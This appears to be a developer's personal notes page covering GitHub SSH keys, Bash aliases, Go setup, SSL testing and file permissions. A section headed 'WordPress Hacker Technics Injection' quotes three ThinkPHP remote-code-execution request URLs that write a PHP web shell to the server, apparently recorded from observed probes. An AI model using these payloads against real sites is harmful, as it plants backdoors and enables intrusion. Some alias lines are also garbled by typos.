rm -rf var/cache/*
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How to add new ssh key to github
$ ssh-keygen -t rsa -b 4096 -C "[email protected]"
$ eval "$(ssh-agent -s)"
$ ssh-add ~/.ssh/id_rsa (regular unix system)
$ ssh-add -K ~/.ssh/id_rsa (for macbook)
$ pbcopy < ~/.ssh/id_rsa.pub (for macbook)
Paste key into github
$ git remote add origin [email protected]:xxxxxx/xxxxxxx.git
$ git remote -v
$ git push -u origin master
How to GIT ERROR: Repository not found. ?
$ git push origin master ERROR: Repository not found. fatal: Could not read from remote repository. Please make sure you have the correct access rights and the repository exists.
Solution
Critical command line to address the issue –
Ensure ssh-agent is enabled:
Start the ssh-agent in the background
eval "$(ssh-agent -s)"
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How to web crawl a website ?
I am experimenting a web crawler COLLY – And it is fantastic !!
Have a look ! Golang
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How to create alias with Bash ?
Common Commands
alias q='exit' alias c=clear' alias h='history' alias cs='clear;ls' alias p='cat' alias pd='pwd' alias lsa='ls -a' alias lsl='ls -l' alias pd='pw ’alias t='time' alias k='kill' alias null=’/dev/null'
source ~/.bashsrc
Go (golang programming language)
Install Golang with Homebrew:
$ brew update
It takes a while to pull all the latest ... be patient ...
$ brew install golang
Go environment
$ vi .bashrc
Then add those lines to export the required variables
This is actually your .bashrc file
export GOPATH=$HOME/go-workspace # don't forget to change your path correctly!
export GOROOT=/usr/local/opt/go/libexec
export PATH=$PATH:$GOPATH/bin
export PATH=$PATH:$GOROOT/bin
Create your workspace:
Create the workspace directories tree:
$ mkdir -p $GOPATH $GOPATH/src $GOPATH/pkg $GOPATH/bin
$GOPATH/src : Where your Go projects / programs are located
$GOPATH/pkg : contains every package objects
$GOPATH/bin : The compiled binaries home
source ~/.bashsrc
Format your Go code
Go has a tool that automatically formats Go source code.
$ gofmt -w yourcode.go
OR
$ go fmt path/to/your/package
Go version
When installed, try to run go version to see the installed version of Go.
davidr$ go version
go version go1.13.4 darwin/amd64
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How to test SSL compliance ?
https://www.ssllabs.com/ssltest/analyze.html?d=david.raleche.com&latest
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WordPress Hacker Technics Injection
https://xxxxxx.com/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=atpko.php&vars[1][]=<?php mb_ereg_replace('.',@$_REQUEST[_], '', 'e');
https://xxxxxxxx.com/?s=index/\think\template\driver\file/write&cacheFile=kolsk.php&content=<?php mb_ereg_replace('.',@$_REQUEST[_], '', 'e');
https://xxxxxx.com/?s=index/\think\template\driver\file/write&cacheFile=kolsk.php&content=
yum install perl-CPAN.noarch cpan install URI
Or
sudo yum install perl-libwww-perl yum install perl-XML-SAX.noarch
No you are ready to go !
Apache User
chown -R apache:apache .
Files
find . -type f -print0 | xargs -0 chmod 0400
Directory
find . -type d -print0 | xargs -0 chmod 0500
writable for storage and cache folder
chmod -R 700 storage/
chmod -R ug+rwx storage bootstrap/cache/